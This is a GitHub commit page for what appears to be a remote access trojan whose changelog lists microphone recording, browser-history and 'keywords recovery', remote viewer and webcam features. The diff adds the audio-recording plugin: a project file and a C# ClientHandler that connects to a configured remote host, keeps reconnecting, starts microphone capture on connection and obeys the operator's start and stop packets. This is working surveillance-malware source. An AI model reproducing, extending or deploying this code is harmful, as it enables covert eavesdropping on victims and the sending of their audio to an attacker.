Skip to content

Commit 63fde24

Browse files
committed
3.1.5.0
* Code refractoring (server) * Memory cleaner (packet = null) + async task * Added visit count for ChromiumHistory * Added keywords recovery * Added audio recording [microphone] * Auto saved audio recording * Reduced some Thread sleep (250 -> 125) * Corrected non closing connection [remote viewer + remote webcam] * Removed logs for remote viewer + remote webcam * Loading circle color changed (45;45;45) * Added label with client full name on all forms
1 parent 4a3beed commit 63fde24

File tree

980 files changed

+91995
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

980 files changed

+91995
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
4+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
5+
<PropertyGroup>
6+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
7+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
8+
<ProjectGuid>{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}</ProjectGuid>
9+
<OutputType>Library</OutputType>
10+
<AppDesignerFolder>Properties</AppDesignerFolder>
11+
<RootNamespace>Plugin</RootNamespace>
12+
<AssemblyName>AudioRecording</AssemblyName>
13+
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
14+
<FileAlignment>512</FileAlignment>
15+
<Deterministic>true</Deterministic>
16+
<NuGetPackageImportStamp>
17+
</NuGetPackageImportStamp>
18+
</PropertyGroup>
19+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
20+
<DebugSymbols>true</DebugSymbols>
21+
<DebugType>full</DebugType>
22+
<Optimize>false</Optimize>
23+
<OutputPath>bin\Debug\</OutputPath>
24+
<DefineConstants>DEBUG;TRACE</DefineConstants>
25+
<ErrorReport>prompt</ErrorReport>
26+
<WarningLevel>4</WarningLevel>
27+
</PropertyGroup>
28+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
29+
<DebugType>none</DebugType>
30+
<Optimize>true</Optimize>
31+
<OutputPath>..\..\bin\Release\Plugins\</OutputPath>
32+
<DefineConstants>TRACE</DefineConstants>
33+
<ErrorReport>prompt</ErrorReport>
34+
<WarningLevel>4</WarningLevel>
35+
</PropertyGroup>
36+
<ItemGroup>
37+
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
38+
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
39+
</Reference>
40+
<Reference Include="NAudio">
41+
<HintPath>..\..\DLLs + Package\NAudio.dll</HintPath>
42+
</Reference>
43+
<Reference Include="System" />
44+
</ItemGroup>
45+
<ItemGroup>
46+
<Compile Include="ClientHandler.cs" />
47+
<Compile Include="GetDevices.cs" />
48+
<Compile Include="Helpers.cs" />
49+
<Compile Include="Launch.cs" />
50+
<Compile Include="Properties\AssemblyInfo.cs" />
51+
</ItemGroup>
52+
<ItemGroup>
53+
<None Include="packages.config" />
54+
</ItemGroup>
55+
<ItemGroup>
56+
<ProjectReference Include="..\..\PacketLib\PacketLib.csproj">
57+
<Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>
58+
<Name>PacketLib</Name>
59+
</ProjectReference>
60+
</ItemGroup>
61+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
62+
<Import Project="..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\packages\Fody.6.0.0\build\Fody.targets')" />
63+
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
64+
<PropertyGroup>
65+
<ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>
66+
</PropertyGroup>
67+
<Error Condition="!Exists('..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.0.0\build\Fody.targets'))" />
68+
<Error Condition="!Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
69+
</Target>
70+
</Project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,229 @@
1+
using PacketLib;
2+
using PacketLib.Packet;
3+
using PacketLib.Utils;
4+
using System;
5+
using System.Net.Sockets;
6+
7+
/*
8+
|| AUTHOR Arsium ||
9+
|| github : https://github.com/arsium ||
10+
*/
11+
12+
namespace Plugin
13+
{
14+
internal class ClientHandler : IDisposable
15+
{
16+
public Host host { get; set; }
17+
private Socket socket { get; set; }
18+
public bool Connected { get; set; }
19+
public string HWID { get; set; }
20+
public string baseIp { get; set; }
21+
public string key { get; set; }
22+
public bool hasToExit { get; set; }
23+
24+
public delegate bool ConnectAsync();
25+
private delegate PacketType SendDataAsync(IPacket data);
26+
27+
28+
public ConnectAsync connectAsync;
29+
private readonly SendDataAsync sendDataAsync;
30+
31+
public delegate byte[] ReadDataAsync();
32+
public delegate IPacket ReadPacketAsync(byte[] BufferPacket);
33+
34+
public ReadDataAsync readDataAsync;
35+
public ReadPacketAsync readPacketAsync;
36+
37+
public ClientHandler(Host host, string key) : base()
38+
{
39+
this.hasToExit = false;
40+
this.host = host;
41+
this.key = key;
42+
sendDataAsync = new SendDataAsync(SendData);
43+
readDataAsync = new ReadDataAsync(ReceiveData);
44+
readPacketAsync = new ReadPacketAsync(PacketParser);
45+
}
46+
47+
public void ConnectStart()
48+
{
49+
connectAsync = new ConnectAsync(Connect);
50+
connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);
51+
}
52+
53+
private bool Connect()
54+
{
55+
try
56+
{
57+
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
58+
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
59+
socket.Connect(host.host, host.port);
60+
return true;
61+
}
62+
catch { }
63+
return false;
64+
}
65+
public void EndConnect(IAsyncResult ar)
66+
{
67+
Connected = connectAsync.EndInvoke(ar);
68+
if (hasToExit)
69+
{
70+
return;
71+
}
72+
else if (!Connected)
73+
{
74+
ConnectStart();
75+
}
76+
else
77+
{
78+
Receive();
79+
if (Launch.audioCapture == true)
80+
{
81+
Helpers.StartCaptureAsync();
82+
}
83+
}
84+
}
85+
86+
public void Receive()
87+
{
88+
if (hasToExit)
89+
return;
90+
if (Connected)
91+
readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);
92+
else
93+
ConnectStart();
94+
}
95+
private byte[] ReceiveData()
96+
{
97+
try
98+
{
99+
int total = 0;
100+
int recv;
101+
byte[] header = new byte[5];
102+
socket.Poll(-1, SelectMode.SelectRead);
103+
recv = socket.Receive(header, 0, 5, 0);
104+
105+
int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
106+
PacketType packetType = (PacketType)header[4];
107+
108+
int dataleft = size;
109+
byte[] data = new byte[size];
110+
while (total < size)
111+
{
112+
recv = socket.Receive(data, total, dataleft, 0);
113+
total += recv;
114+
dataleft -= recv;
115+
}
116+
117+
return data;
118+
}
119+
catch (Exception)
120+
{
121+
if (Connected)
122+
hasToExit = true;
123+
124+
Connected = false;
125+
return null;
126+
}
127+
}
128+
public void EndDataRead(IAsyncResult ar)
129+
{
130+
byte[] data = readDataAsync.EndInvoke(ar);
131+
132+
if (data != null && Connected)
133+
readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);
134+
Receive();
135+
}
136+
137+
private IPacket PacketParser(byte[] BufferPacket)
138+
{
139+
try
140+
{
141+
return BufferPacket.DeserializePacket(Launch.key);
142+
}
143+
catch (Exception)
144+
{ return null; }
145+
}
146+
147+
public void EndPacketRead(IAsyncResult ar)
148+
{
149+
IPacket packet = readPacketAsync.EndInvoke(ar);
150+
if (packet != null)
151+
ParsePacket(packet);
152+
}
153+
154+
public void ParsePacket(IPacket packet)
155+
{
156+
switch (packet.packetType)
157+
{
158+
case PacketType.AUDIO_RECORD_ON:
159+
Launch.remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet;
160+
break;
161+
162+
case PacketType.AUDIO_RECORD_OFF:
163+
hasToExit = true;
164+
Launch.audioCapture = false;
165+
Helpers.StopStreamAudio();
166+
break;
167+
}
168+
}
169+
170+
public void SendPacket(IPacket packet)
171+
{
172+
if (Connected)
173+
sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);
174+
}
175+
private PacketType SendData(IPacket data)
176+
{
177+
try
178+
{
179+
byte[] encryptedData = data.SerializePacket(this.key);
180+
lock (socket)
181+
{
182+
int total = 0;
183+
int size = encryptedData.Length;
184+
int datalft = size;
185+
byte[] header = new byte[5];
186+
socket.Poll(-1, SelectMode.SelectWrite);
187+
188+
byte[] temp = BitConverter.GetBytes(size);
189+
190+
header[0] = temp[0];
191+
header[1] = temp[1];
192+
header[2] = temp[2];
193+
header[3] = temp[3];
194+
header[4] = (byte)data.packetType;
195+
196+
int sent = socket.Send(header);
197+
198+
while (total < size)
199+
{
200+
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
201+
total += sent;
202+
datalft -= sent;
203+
}
204+
}
205+
}
206+
catch (Exception)
207+
{
208+
Connected = false;
209+
}
210+
return data.packetType;
211+
}
212+
private void SendDataCompleted(IAsyncResult ar)
213+
{
214+
PacketType packetType = sendDataAsync.EndInvoke(ar);
215+
if (Connected)
216+
{
217+
if (packetType == PacketType.AUDIO_GET_DEVICES || packetType == PacketType.AUDIO_RECORD_OFF)
218+
this.Dispose();
219+
}
220+
}
221+
222+
public void Dispose()
223+
{
224+
socket.Close();
225+
socket.Dispose();
226+
socket = null;
227+
}
228+
}
229+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
2+
<Costura />
3+
</Weavers>

0 commit comments

Comments
 (0)